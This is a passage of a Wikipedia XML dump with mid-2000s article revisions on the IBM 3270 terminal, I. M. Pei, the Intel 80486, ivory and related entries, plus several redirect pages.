*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=3138747.WKU.&amp;OS=PN/3138747&amp;RS=PN/3138747 US3138747] &amp;ndash; Integrated semiconductor circuit device &amp;ndash; J. S. Kilby   
*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=3261081.WKU.&amp;OS=PN/3261081&amp;RS=PN/3261081 US3261081] &amp;ndash; Method of making miniaturized electronic circuits &amp;ndash; J. S. Kilby   
*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=3434015.WKU.&amp;OS=PN/3434015&amp;RS=PN/3434015 US3434015] &amp;ndash; Capacitor for miniaturized electronic circuits or the like &amp;ndash; J. S. Kilby   

;Audio video 
*[http://www.appliedmaterials.com/HTMAC/animated.html A presentation of the chip manufacturing process], from [[Applied Materials]]
    
[[Category:Integrated circuits| ]]

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[[zh:集成电路]]</text>
    </revision>
  </page>
  <page>
    <title>I-Link</title>
    <id>15151</id>
    <revision>
      <id>15912644</id>
      <timestamp>2004-03-29T23:53:36Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
    </revision>
  </page>
  <page>
    <title>Impedance match</title>
    <id>15152</id>
    <revision>
      <id>15912645</id>
      <timestamp>2004-03-25T02:50:45Z</timestamp>
      <contributor>
        <ip>208.186.187.86</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[impedance matching]]</text>
    </revision>
  </page>
  <page>
    <title>Individual cases of anthrax</title>
    <id>15153</id>
    <revision>
      <id>15912646</id>
      <timestamp>2003-09-03T01:31:09Z</timestamp>
      <contributor>
        <username>Jiang</username>
        <id>10049</id>
      </contributor>
      <minor />
      <comment>#REDIRECT[[2001 anthrax attacks]]</comment>
      <text xml:space="preserve">#REDIRECT[[2001 anthrax attacks]]</text>
    </revision>
  </page>
  <page>
    <title>IBM 3270</title>
    <id>15154</id>
    <revision>
      <id>32787327</id>
      <timestamp>2005-12-26T19:16:03Z</timestamp>
      <contributor>
        <username>EagleOne</username>
        <id>74123</id>
      </contributor>
      <minor />
      <comment>fixed several links</comment>
      <text xml:space="preserve">[[de:IBM 3270]]
[[Image:3270ScreenShot.jpg|thumbnail|right|350px|Clemson University's library catalog as displayed in a 3270 emulation program]]
The '''IBM 3270''' is a class of [[computer terminal|terminals]] made by [[IBM]] (known as &quot;Display Devices&quot;) normally used to communicate with [[IBM mainframe]]s. The 3270 attempts to minimize the number of [[input/output|I/O]] interrupts required by accepting large blocks of [[data]] known as [[Data stream|datastreams]]. IBM stopped manufacturing terminals (and [[punch cards]] for that matter) many years ago, but the IBM 3270 protocol is still commonly used via [[emulation]] to access some mainframe-based applications. Use of 3270 is slowly diminishing over time as more and more mainframe applications acquire [[World Wide Web|Web]] interfaces, but in some situations (such as [[call center]]s) the &quot;green screen&quot; 3270 interface is still the most productive and efficient.

== Principles ==

In a datastream, both text and control (or formatting functions) are interspersed allowing an entire screen to be &quot;painted&quot; as a single output operation. The concept of &quot;formatting&quot; in these devices allows the screen to be divided into clusters of contiguous character cells for which numerous attributes (colour, highlighting, character set, protection from modification) can be set.

Further, using a technique known as &quot;Read Modified&quot; the changes from any number of formatted fields that have been modified can be read as a single input without transferring any other data, another technique to enhance the terminal throughput of the [[Central processing unit|CPU]]. Some users familiar with character interrupt-driven terminal interfaces find this technique unusual. However, most Web interfaces operate in much the same way and often for the same reasons.

The 3270 has twelve, and later twenty-four, special [[function key|Programmed Function Key]]s, or PF keys, and three PA (or ''Program Attention'') keys. When one of these keys is pressed, it will cause its ''control unit'' (historically, usually, an IBM 3274 or 3174, but nowadays the onboard mainframe equivalent) to generate an I/O interrupt and present a special code identifying which key was pressed. Application program functions such as termination, page-up, page-down, or help can be invoked by a single key-push, thereby reducing the load on very busy processors.

In this way, the CPU is not bothered at every keystroke, a scheme which allowed an early 3033 mainframe with only 16&amp;nbsp;MB to support up to 17500 3270 terminals under [[CICS]]. On the other hand, [[vi]]-like behaviour was not possible. (But end-user responsiveness was arguably more predictable with 3270, something users appreciated.) For the same reason, a porting of [[Lotus 1-2-3]] to mainframes with 3279 screens did not meet success because its programmers were not able to properly adapt the spreadsheet's user interface to a &quot;screen at a time&quot; rather than &quot;character at a time&quot; device. In contrast, IBM's [[OfficeVision]] office productivity software enjoyed great success with 3270 interaction because of its design understanding, and for many years the PROFS calendar was the most commonly displayed screen on office terminals around the world.

As mentioned above, the Web (and [[HyperText Transfer Protocol|HTTP]]) is more similar to 3270 interaction because the terminal (browser) is given more responsibility for managing presentation and user input, minimizing host interaction while still facilitating server-based information retrieval and processing. In fact, not too many years ago 3270 terminals were considered &quot;smart&quot; (or &quot;programmable&quot; or &quot;intelligent&quot;) rather than &quot;dumb.&quot;

== Models ==

*3277 model 1 : 16×40 terminal
*3277 model 2 : 24×80 terminal, the biggest success of all
*3277 model 3 : 32×80 terminal
*3277 GA : a 3277 with a RS232C I/O, often used to drive a Tektronix 4013 or 4015 graphic screen (1024×768, monochrome)
*3278 models 3,4,5 : next-generation, with accented characters and dead keys in countries that needed them
** model 2 : 24×80
** model 3 : 32×80
** model 4 : 43×80
** model 5 : 27×132 or 24×80 (switchable)
*3278 PS : programmable characters; able to display monochrome graphics
*3279 : color terminal, 4-color (text) or 7-color (graphics) version, 

A version of the [[IBM PC]] called the [[IBM 3270 PC|3270 PC]], released in October 1983, included 3270 [[terminal emulator|terminal emulation]]. Later, the PC/G (graphics) and PC/GX (extended graphics) followed. Unfortunately these machines needed to be rebooted to switch between terminal mode and local (DOS) mode. 

[[Telnet 3270|TN3270]] is a slighly modified version of the [[Telnet]] protocol which allows a 3270 [[terminal emulator]] to communicate over a [[Internet protocol suite|TCP/IP]] network. Popular 3270 terminal emulators include IBM Host On-Demand and Personal Communications, Attachmate EXTRA!, and Rumba.

----
{{FOLDOC}}

[[Category:IBM hardware]]</text>
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  </page>
  <page>
    <title>I. M. Pei</title>
    <id>15155</id>
    <revision>
      <id>41645244</id>
      <timestamp>2006-02-28T19:35:24Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/204.38.32.173|204.38.32.173]] ([[User talk:204.38.32.173|talk]]) to last version by Eskimbot</comment>
      <text xml:space="preserve">[[Image:Louvre_at_night_centered.jpg|thumb|250px|right|The [[Louvre]] Pyramid, [[Paris]]]]
'''Ieoh Ming Pei''' ({{zh-cp|c=貝聿銘|p=B&amp;egrave;i Y&amp;ugrave;m&amp;iacute;ng}}; b. [[April 26]], [[1917]]) is a [[Pritzker Prize]] winning [[architect]], known as the last master of high [[modernist]] [[architecture]]. He works with the abstract form, using [[Rock (geology)|stone]], [[concrete]], [[glass]], and [[steel]]. Pei is one of the most successful architects of the 20th century.

==Early life and education==
Ieoh Ming Pei was born in [[Suzhou]], [[Jiangsu Province]], [[China]] on [[April 26]], [[1917]] to a prominent banker.

His first education was in [[Shanghai]] and then at [[St. Paul's College, Hong Kong]] before moving to the [[United States]] to study architecture at the age of 18. He started at the [[University of Pennsylvania]] before going on to receive his Bachelor of Architecture degree from [[Massachusetts Institute of Technology]] in 1940. That same year, he was awarded the Alpha Rho Chi Medal, the MIT Travelling Fellowship, and the AIA Gold Medal. He enrolled at the [[Harvard]] Graduate School of Design two years later; shortly thereafter, he served at the [[National Defense Research Committee]] in [[Princeton, New Jersey]].

In 1944 he returned to Harvard, received his master degree in Architecture in 1946 and stayed at Harvard as an assistant professor. He received the Wheelwright Traveling Fellowship in 1951 and became a [[naturalized citizen]] of the United States in 1954.{{ref|officalbio}}

==Career==
Pei operated his own architectural firm, founded in 1955, which was known as I. M. Pei &amp; Partners until 1989 when it became known as [[Pei Cobb Freed &amp; Partners]] recognizing [[James Ingo Freed]] and [[Henry N. Cobb]].

==Personal life==
I.M. Pei has two sons: Chien Chung (Didi) Pei, and Li Chung (Sandi) Pei. Both have followed their father to the Harvard Graduate School of Design. Chien Chung Pei helped his father design the [[Louvre]] addition from 1989 to 1993. Li Chung Pei helped his father design the [[Bank of China Tower]] in Hong Kong in 1989. Both became architects practicing under their own firm, [http://www.ppa-ny.com/ Pei Partnerships]. I.M. Pei has helped out at the firm since his retirement from his own firm in 1990.{{ref|jfktalk}}

==Project list==
*[[1954]] - [[1959]] [[Mile High Center]], in [[Denver, Colorado]], USA
*[[1961]] - [[1967]] [[National Center for Atmospheric Research]], in [[Boulder, Colorado]], USA
*[[1961]] - [[Kips Bay Plaza]], in [[New York, New York]], USA [http://www.pcfandp.com/a/p/5705/s.html]
*[[1961]] - [[Government Center Master Plan]], [[Boston, Massachusetts]], USA
*[[1962]] - [[Place Ville-Marie]], in [[Montreal, Quebec]], Canada
*[[1962]] - [[Kennedy Theatre]], [[University of Hawaii]], USA, [http://www.hawaii.edu/theatre/facilities/facilities.htm Official web page]
*[[1962]] - [[Hale Manoa Dormitory]], [[East West Center]], [[University of Hawaii]], USA
*[[1963]] - [[Luce Memorial Chapel]], [[Tunghai University]], [[Taichung]], [[Taiwan]]
*[[1964]] - [[Green Building (MIT)|Green Building]], [[Massachusetts Institute of Technology]]
*[[1964]] - [[S.I. Newhouse School of Public Communications]] at [[Syracuse University]] - [[Syracuse, New York]]
*[[1966]] - [[1968]] - Sculpture Wing of the [[Des Moines Art Center]] in [[Des Moines, Iowa]]
**[http://www.desmoinesartcenter.org/visit/v_pei.html Official page of Pei's Sculpture Wing]
*[[1966]] - [[Silver Towers]] at [[New York University]]
*[[1967]] - Hoffman Hall at [[University of Southern California]]
*[[1968]] - [[1972]] - 50 [[Federal Aviation Administration|FAA]] [[Control tower|air traffic control towers]], in various locations throughout the [[United States]].
*[[1968]] - [[1974]] [[Christian Science Center]], in [[Boston, Massachusetts]] 
*[[1968]] - [[Syracuse, New York#Arts and culture|Everson Museum of Art]], in [[Syracuse, New York]]
*[[1969]] - [[Cleo Rogers Memorial Library]], in [[Columbus, Indiana]]
*[[1969]] - Academic Center, [[State University of New York at Fredonia]], [[Fredonia, New York]]
*[[1970]] - National Airlines terminal at [[JFK Airport]] in [[New York, New York]]
*[[1971]] - [[Harbor Towers]] 
*[[1972]] - [[Dallas, Texas]] City Hall 
*[[1972]] - [[Paul Mellon Arts Center]] at [[Choate Rosemary Hall]] in [[Wallingford, Connecticut]]
*[[1972]] - Pei Residence Halls at [[New College of Florida]]
*[[1973]] - [[Commerce Court|Commerce Court West]] in [[Toronto, Ontario]]
*[[1973]] - [[Spelman Halls]] at [[Princeton University]]
*[[1973]] - [[Herbert F. Johnson Museum of Art]], [[Cornell University]], in [[Ithaca, New York]]
*[[1974]] - [[1978]] East Building, [[National Gallery of Art]], in [[Washington, DC]]{{ref|eastnational}}
**[http://www.nga.gov/exhibitions/20th_intro.htm Official East Building project webpage]
*[[1975]] - [[OCBC Centre]] in [[Singapore]].
*[[1976]] - [[John Hancock Tower]], in [[Boston, Massachusetts]] - ''Pei gives Henry Cobb the credit for [http://www.pcf-p.com/a/p/6710/s.html this building]'' 
*[[1976]] - [[University of Rochester]]'s Wilson Commons
*[[1978]] - [[1982]] [[Indiana University Art Museum]] in [[Bloomington, Indiana]]
*[[1979]] - [[John F. Kennedy Library]], in [[Boston, Massachusetts]]{{ref|jfktalk}}
*[[1979]] - [[Baltimore World Trade Center]], in [[Baltimore, Maryland]]
*[[1979]] - [[1986]] [[Javits Convention Center]] in [[New York, New York]]
*[[1980]] - [[1985]] [[Raffles City]] in Singapore. 
*[[1981]] - [[J.P. Morgan Chase Tower, Houston|the Texas Commerce Tower]] in [[Houston, Texas]], currently J.P. Morgan Chase Tower; ([[3D/International]] cooperated with Pei on the design of this building)
*[[1982]] - [[16th Street Mall]] in [[Denver, Colorado]].
*[[1982]] - [[1990]] [[Bank of China Tower]], in [[Hong Kong]]
**[http://www.designboom.com/portrait/pei_bank.html Bank of China Tower project website]
*[[1982]] - [[Apartment]] for [[Steve Jobs]]
*[[1983]] - [[Energy Plaza]], [[Dallas, Texas]]
*[[1985]] - [[Wiesner building]], [[Massachusetts Institute of Technology|MIT]], [[Cambridge, Massachusetts]]
*[[1986]] - [[Fountain Place]], [[Dallas, Texas]]
*[[1987]] - [[Bank_Of_America_Tower_(Miami)|CenTrust Tower]], [[Miami]], [[Florida]]
*[[1989]] - [[Morton H. Meyerson Symphony Center]] in [[Dallas, Texas]]
*[[1989]] - [[Carl Icahn]] Center for Science at [[Choate Rosemary Hall]] in [[Wallingford, Connecticut]]
*[[1989]] - Headquarters for [[Creative Artists Agency]], [[Los Angeles, California]]
*[[1989]] - Pyramids of the [[Louvre]], in [[Paris]], [[France]]
**[http://www.GreatBuildings.com/buildings/Pyramide_du_Louvre.html Pyramide du Louvre website]. (See also: [[La Pyramide Inversée]].)
*[[1991]] - [[Miho Museum]], Shiga, Japan
**[http://www.miho.or.jp/english/index.htm Official museum website] 
***[http://www.miho.or.jp/english/architec/architec.htm Official information on the architecture]
*[[1992]] - [[The Kirklin Clinic]] of the [[University of Alabama at Birmingham]] Health System, [[Birmingham]], [[Alabama]]
*[[1995]] - [[Rock and Roll Hall of Fame]], in [[Cleveland, Ohio]]
*[[2001]] - [[Friend Center for Engineering]], at [[Princeton University]].
*[[2003]] - extension building to the [[Deutsches Historisches Museum]] (''German history museum''), in [[Berlin]], [[Germany]].
*[[2005]] - [[Ferguson Center for the Performing Arts]] at [[Christopher Newport University]] in [[Newport News, Virginia]].

==Selected works==
&lt;gallery&gt;
Image:National Center for Atmospheric Research - Boulder, Colorado.JPG|1961 - [[National Center for Atmospheric Research]], [[Boulder, Colorado]]
Image:THU Luce Memorial Chapel.jpg|1963 - [[Luce Memorial Chapel]], [[Tunghai University]], [[Taiwan]]
Image:Green Building, MIT, Cambridge, Massachusetts.JPG|1964 - Green Building, [[Massachusetts Institute of Technology]]
Image:Paul Mellon Arts Center - Choate Rosemary Hall, Wallingford, Connecticut.JPG|1972 - [[Paul Mellon Arts Center]], [[Choate Rosemary Hall]], [[Wallingford, Connecticut]]
Image:national_gallery_of_art_usa.jpg|1974 - The East Building of the [[National Gallery of Art]]
Image:artmuseu.jpg|1978 - Indiana University Art Museum at [[Indiana University Bloomington|Indiana University]] in [[Bloomington, Indiana]]
Image:Bank of china night.jpg|1989 - [[Bank of China Tower]], Hong Kong
Image:DSCN4568 clevelandrockandrollhallofame e.jpg|1995 - The [[Rock and Roll Hall of Fame]], showing [[Lake Erie]] in the background
&lt;/gallery&gt;

==Reference==
#[[Gero von Boehm]], ''Conversations with I.M. Pei: &quot;Light is the Key&quot; '' ISBN 3791321765
#[[Michael Cannell]], ''I.M. Pei : Mandarin of Modernism'' ISBN 0517799723 #([http://www.washingtonpost.com/wp-srv/style/longterm/books/chap1/im_pei.htm Excerpt])
#[[Carter Wiseman]], ''I. M. Pei: A Profile in American Architecture'' ISBN 0810934779
#{{note|jfktalk}}[http://forum.wgbh.org/wgbh/forum.php?lecture_id=1655 Conversation with I.M. Pei about JFK Museum, Boston - with Robert Campbell, critic, Boston Globe (audio/video stream)]
#{{note|eastnational}}[http://www.nga.gov/collection/eastarch1.shtm Pei's audio tour of the East Building addition to the National Gallery of Art]
# Wikipedia entry - [[Steve Jobs]]

==External links==
*[http://www.pcfandp.com/ Pei Cobb Freed &amp; Partners website]
:*{{note|officalbio}}[http://www.pcfandp.com/a/f/fme/imp/b/b.html Official biography from Pei Cobb Freed &amp; Partners website]
:*{{note|officalprojectslist}}[http://www.pcf-p.com/a/f/fme/imp/p/p.html Official projects list from Pei Cobb Freed &amp; Partners website] 
*[http://archrecord.construction.com/people/interviews/archives/0406IMPei-1.asp Interview with I.M. Pei (june 2004)]
*[http://www.nyc-architecture.com/ARCH/ARCH-PeiCobbFried.htm New York Architecture Images- Pei, Cobb, Freed]
*[http://architect.architecture.sk/ieoh-ming-pei-architect/ieoh-ming-pei-architect.php Ieoh Ming Pei : architect biography]
*[http://www.worldofbiography.com/9172%2DI%20M%20Pei/ Biography] (World of Biography)
&lt;!--Interwiki--&gt;
&lt;!--Categories--&gt;

[[Category:1917 births|Pei, I. M.]]
[[Category:American architects|Pei, I. M.]]
[[Category:Architects|Pei, I. M.]]
[[Category:Chinese Americans|Pei, I. M.]]
[[Category:Living people|Pei, I. M.]]
[[Category:Members of The American Academy of Arts and Letters|Pei, I. M.]]
[[Category:MIT alumni|Pei, I. M.]]
[[Category:Modernist architects|Pei, I. M.]]
[[Category:National Medal of Arts recipients|Pie, I. M.]]
[[Category:Naturalized citizens of the United States|Pei, I.M.]]
[[Category:Presidential Medal of Freedom recipients|Pei, I. M.]]
[[Category:Pritzker Prize winners|Pei]]

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  <page>
    <title>ICD</title>
    <id>15156</id>
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        <username>Snalwibma</username>
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      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">'''ICD''' has two distinct meanings in health care:
:*[[International Statistical Classification of Diseases and Related Health Problems]]
:*[[Implantable cardioverter-defibrillator]]

*In hardware design '''ICD''' is In-Circuit Debugger
*In software engineering '''ICD''' is Interface Control Document
*'''ICD, Inc.''' computer peripherals and software developer
*ICD is also an abbreviation for [[J.C.D.|Doctor of Canon Law]].

{{TLAdisambig}}


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    <title>ICD-CM</title>
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      <id>15912650</id>
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      <comment>#REDIRECT [[International Statistical Classification of Diseases and Related Health Problems]]</comment>
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  <page>
    <title>Islamic Jihad</title>
    <id>15158</id>
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        <username>The Eye of Timaeus</username>
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      <comment>responsibiliy changed to responsibility</comment>
      <text xml:space="preserve">:''This article is about particular organizations known as Islamic Jihad. For the general Islamic idea of jihad as a &quot;holy war,&quot; see [[Jihad]].''

'''Islamic Jihad''' (''Arabic:'' '''Harakat al-Jihad al-Islami''') is a militant [[Islamism|Islamist]] group based in the [[Syria]]n [[capital]], [[Damascus]]. See: [[Palestinian Islamic Jihad]].

'''Islamic Jihad''' is also a name used by various other militant groups. Since 1983, when a group calling itself &quot;Islamic Jihad&quot; claimed the [[April 1983 U.S. Embassy bombing]] in [[Beirut]], it has been used by several other organizations. [[Hezbollah]] is believed to have used the name in the [[1980s]] to claim responsibility for attacks in [[Lebanon]], parts of the [[Middle East]], and [[Europe]]. There is also the [[Egyptian Islamic Jihad]] and the [[Yemeni Islamic Jihad]]. 

In the [[Western world]], the Palestinian Islamic Jihad is the organization usually meant by the term &quot;Islamic Jihad&quot;, due to the widespread media coverage of the [[Israeli-Palestinian conflict]].

==See also==
*[[Jihad]]
*[[Terrorism]]
*[[Islamic Terrorism]]

[[Category:Islamist groups]]

[[de:Islamischer Dschihad]]
[[es:Yihad Islámico]]
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    <title>Igneous</title>
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  <page>
    <title>Intel 80486</title>
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        <username>Bloodshedder</username>
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      <text xml:space="preserve">{{Otheruses4|486 processor|other uses|486 (number)}}[[Image:80486dx2-v2.jpg|300px|thumb|The exposed die of an Intel 80486DX2 microprocessor.]]
[[Image:80486DX2_arch.png|300px|thumb|The 486DX2 architecture.]]
The '''Intel i486''' (also called '''486''' or '''80486''') is a range of [[Intel]] [[CISC]] [[microprocessor|microprocessors]] which is part of the Intel [[x86]] family of processors. The i486's predecessor was the [[Intel 80386]] processor. The i486 was so named without the usual 80-prefix, because of a court ruling that prohibited trademarking numbers (like 80486).  Intel dropped number-based naming altogether with the successor to the i486 &amp;ndash; the [[Pentium]] processor.

From a software point of view, the [[instruction set]] of the i486 family is very similar to its predecessor, the [[Intel 80386]], with the addition of only a few extra instructions. 

From a hardware point of view, however, the architecture of the i486 is a vast improvement. It has an on-chip unified instruction and data [[CPU cache|cache]], an optional on-chip [[floating-point unit]] (FPU) (DX models only), and an enhanced [[computer bus|bus]] interface unit. In addition, under optimal conditions, the processor core can sustain an execution rate of one instruction per clock cycle. These improvements yield a rough doubling in performance over an Intel 80386 at the same [[clock rate]]. However, some low-end i486 models were actually slower than the highest-speed 386s, especially so with the 'SX' i486s.

A 25 [[megahertz|MHz]] version was introduced in April [[1989]], a 33 MHz version in May [[1990]], and a 50 MHz version in June [[1991]].

There are several suffixes and variants including: 
*[[Intel 80486SX]] - a i486DX with its FPU disabled, although the earlier variants were simply normal i486s with defective FPUs.  In later versions, the FPU was removed from the [[Integrated circuit|die]] to reduce its area and thus reduce cost.
*[[Intel 80486DX]] - same as above, with a working [[FPU]]. 
*[[Intel 80486DX2]] - the internal processor clock runs at twice the [[clock rate]] of the external bus clock. 
*[[Intel 80486SX2]] - same as the i486DX2, but with the FPU disabled. 
*[[Intel 80486SL]] - i486SX with power conservation circuitry. Mainly for use in portable computers.
*[[Intel 80486SL-NM]] - i486SX with power conservation circuitry; SL enhanced suffix, denotes a i486 with special power conservation circuitry similar to that in the i486SL processors. 
*[[Intel 80487]] - i486DX with a slightly different pinout for use in i486SX systems as a FPU. 
*[[Intel 80486 OverDrive]] - i486SX, i486SX2, i486DX2 or i486DX4. Marked as upgrade processors, some models had different pinouts or voltage handling abilities from 'standard' chips of the same speed stepping.
*[[Intel 80486DX4]] - designed to run at triple clock rate (not quadruple as often believed; the DX3, which was meant to run at 2.5x the clock speed, was never released).

Internal clock rates included 16, 20, 25, 33, 40, 50, 66, 75 and 100 MHz, although the 100 MHz versions could be somewhat unstable. The 486DX2 66 MHz was the most widespread high-end 486 chip, while more powerful iterations such as the OverDrive and DX4 were less used in favour of the succeeding [[Pentium]].

486 compatible processors have been produced by other companies such as [[International Business Machines|IBM]], [[Texas Instruments]], [[AMD]], [[Cyrix]], and [[Chips and Technologies]]. Some are almost exact duplicates in specifications and performance, some are not.  The 486 was, however, covered by many of Intel's 386 patents as well as some of its own.  Intel and IBM have broad cross-licenses of these patents, and AMD was granted rights to the relevant patents in the 1995 settlement of a lawsuit between the companies.[http://www.amd.com/us-en/assets/content_type/DownloadableAssets/AMD_-_Intel_Litigation_History.pdf]

The Intel project manager for the 80486 was Patrick Gelsinger.

==See also==
*[[List of Intel microprocessors]]
*[[Motorola 68040]], often considered the [[Motorola]] equivalent to the Intel 80486.

==References==
{{FOLDOC}}

== External links ==
* http://users.erols.com/chare/486.htm
* [http://www.cpu-collection.de/?l0=co&amp;l1=Intel&amp;l2=i486%20DX Intel 80486 images and descriptions at cpu-collection.de]
* [http://www.cpu-info.com/index2.php?mainid=html/cpu/486.php CPU-INFO: 80486, indepth processor history]

{{Intel_processors}}

[[Category:x86 microprocessors|Intel 486]]

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    <title>Intel Pentium</title>
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      <text xml:space="preserve">#REDIRECT [[Pentium]]</text>
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    <title>Internet humour</title>
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  <page>
    <title>Intel 80486SX</title>
    <id>15164</id>
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      <text xml:space="preserve">[[Image:I486sx.jpg|right|thumb|300px|An Intel 80486SX from the early [[1990s]]]]

The '''Intel 80486SX''' is an [[Intel 80486DX|Intel 486DX]] [[microprocessor]] with its [[floating-point unit]] (FPU) disconnected. All early 486SX chips were actually 486DX chips with a defective FPU. If testing showed that the [[central processing unit]] was working but the FPU was defective, the FPU's power and bus connections were destroyed with a laser and the chip was sold cheaper as an SX; if the FPU worked it was sold as a DX. Some have claimed that DX chips with working FPUs were turned into SX chips to meet demand for lower-cost chips.

Some systems allowed a DX chip to be plugged into an expansion socket. A board jumper would disable the SX chip, which was hard to remove because it was inserted in a non-[[ZIF]] socket.

The FPU unit was shipped as the [[Intel 80487]], a full blown [[486DX]] chip with an extra pin to prevent it being used as a 486DX.

==References==
{{FOLDOC}}

== External links ==
* [http://www.cpu-collection.de/?l0=co&amp;l1=Intel&amp;l2=i486%20SX Intel 80486SX images and descriptions at cpu-collection.de]

[[fr:Intel 80486SX]]
{{Intel_processors}}
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  <page>
    <title>Ivory</title>
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      <comment>images not freely licensed</comment>
      <text xml:space="preserve">{{otheruses}}

[[Image:Ivory decoration.jpg|thumb|right|An elaborately carved ivory decoration]]

'''Ivory''' is a hard, white, opaque substance that is the bulk of the [[teeth]] and [[tusk]]s of animals such as the [[elephant]], [[hippopotamus]], [[walrus]], [[mammoth]], etc. Prior to the introduction of [[plastics]], it was used for [[billiards|billiard]] balls, [[piano]] keys, buttons and ornamental items. The word &quot;ivory&quot; was traditionally applied to the tusks of [[elephant]]s. Plastics have been viewed by piano purists as an inferior ivory substitute on piano keys, although other recently developed materials more closely resemble the feel of real ivory. 

==Structure==
The chemical structure of the teeth and tusks of mammals is the same regardless of the species of origin, and the trade in certain teeth and tusks other than elephant is well established and widespread. Therefore, &quot;ivory&quot; can correctly be used to describe any mammalian teeth or tusks of commercial interest which is large enough to be carved or [[scrimshaw]]ed.

==Teeth and tusks==
[[image:Walruses with Tusks.jpg|thumb|right|Pacific Walrus at Cape Peirce]]
[[Teeth]] and [[tusk]]s have the same origins. Teeth are specialized structures adapted for food [[chewing|mastication]]. Tusks, which are extremely large teeth projecting beyond the lips, have evolved from teeth and give certain species an evolutionary advantage. The teeth of most mammals consists of a root and the tusk proper.

Teeth and tusks have the same physical structures: [[Pulp (tooth)|pulp]] [[cavity]], [[dentine]], [[cementum]] and [[Tooth enamel|enamel]]. The innermost area is the pulp cavity. The pulp cavity is an empty space within the tooth that conforms to the shape of the pulp.

[[Odontoblast]]s line the pulp cavity and are responsible for the production of dentine. Dentine, which is the main component of carved ivory objects, forms a layer of consistent thickness around the pulp cavity and comprises the bulk of the tooth and tusk. Dentine is a mineralized connective tissue with an organic matrix of collagenous proteins. The inorganic component of dentine consists of dahllite. Dentine contains a microscopic structure called dentinal tubules which are micro-canals that radiate outward through the dentine from the pulp cavity to the exterior cementum border. These canals have different configurations in different ivories and their diameter ranges between 0.8 and 2.2 micrometres. Their length is dictated by the radius of the tusk. The three dimensional configuration of the dentinal tubules is under genetic control and is therefore a characteristic unique to the order.

==Ivory art in the ancient world==
Paleolithic [[Cro-Magnon]] man, during the late stages of the [[ice age]], were the first to carve in ivory (mammoth tusks).
Both the Greek and Roman civilizations used large quantities of ivory to make high value works of art, precious religious objects, and decorative boxes for costly objects.
Ivory was often used to form the whites of the eyes of statues.
The [[North African elephant]] population was probably reduced to extinction,  due to the demand for ivory in the [[Classical Antiquity|Classical world]].
[[Image:Porphyrogenetus.jpg|thumb|180px|ivory has been a most prestigious material for carving.]]

Tooth and tusk ivory can be carved into an almost infinite variety of shapes and objects. A small example of modern carved ivory objects are small statuary, [[netsuke]]s, jewelry, flatware handles, furniture inlays, and piano keys. Additionally, [[warthog]] tusks, and teeth from [[sperm whale]]s, [[orca]]s and hippos can also be scrimshawed or superficially carved, thus retaining their morphologically recognizable shapes.

==Availablity== Due to the rapid decline in the populations of the animals that produce it, the importation and sale of ivory in many countries is banned or severely restricted. Much of the decline in population is due to [[poaching|poachers]] during and before the [[1980s]]. Since the worldwide ivory trade ban in [[1989]] there have been ups and downs in elephant populations, and ivory trade as bans have been placed and lifted. Many African countries including [[Zimbabwe]] and [[South Africa]] claim that ivory trade is necessary&amp;mdash;both to stimulate their economies and reduce elephant populations which are allegedly harming the environment. In [[2002]] the [[United Nations]] partially lifted the ban on ivory trade, allowing a few countries to export certain amounts of ivory. Yet, a [[1999]] study done by [[Oxford University]] found that less than one percent of the five-hundred million US dollars ivory sales generate ever reach Africans; most of it goes to middlemen and vendors, so the effectiveness of the policy is in question.

[[Kenya]], which saw its elephant populations plummet in the decade preceding the [[1989]] ban, claims that legalizing ivory trade anywhere in Africa will endanger elephants everywhere in Africa as poachers would attempt to launder their illegal ivory with legal stockpiles.

Trade in the ivory from the tusks of dead [[mammoth]]s has occurred for 300 years and continues to be legal. Mammoth ivory is used today to make handcrafted knives and similar implements. 

A species of hard nut is gaining popularity as a replacement for ivory, although its size limits its usability. It is sometimes called '''[[vegetable ivory]]''', or tagua, and is the [[seed]] [[endosperm]] of the [[ivory nut palm]] commonly found in coastal [[rainforest]]s of [[Ecuador]] and [[Peru]]. [http://www.cnn.com/2005/TECH/science/04/26/vegivory/index.html]

==Types of ivory==
*[[Elephant and mammoth ivory]] from the tusks of bull elephants and mammoths.
*[[Walrus ivory]] from the tusks of a bull walrus.
*[[Sperm Whale and Killer Whale ivory]]
*[[Narwhal ivory]]
*[[Hippopotamus ivory]]
*[[Warthog ivory]]
*[[Elk Ivory]] from the bugling teeth of bull elk.
&lt;!--*[[Kathleen Soler ivory]]--&gt;

So-called [[hornbill ivory]], derived from a bird, is not true ivory but resembles it in some ways.

''See also [[Ivory carving]].''
[[Category:Ivory| ]]
[[Category:Art materials]]

[[da:Elfenben]]
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    </revision>
  </page>
  <page>
    <title>Infantry fighting vehicle</title>
    <id>15166</id>
    <revision>
      <id>40452371</id>
      <timestamp>2006-02-20T17:38:10Z</timestamp>
      <contributor>
        <username>667NotB</username>
        <id>806525</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:1BFV01.jpg|thumb|right|300px|An [[M2 Bradley]] Infantry fighting vehicle.]]

An '''infantry fighting vehicle''' ('''IFV''') is a type of [[armoured fighting vehicle|armored fighting vehicle]] (AFV) used to carry [[infantry]] into battle and provide fire support for them.

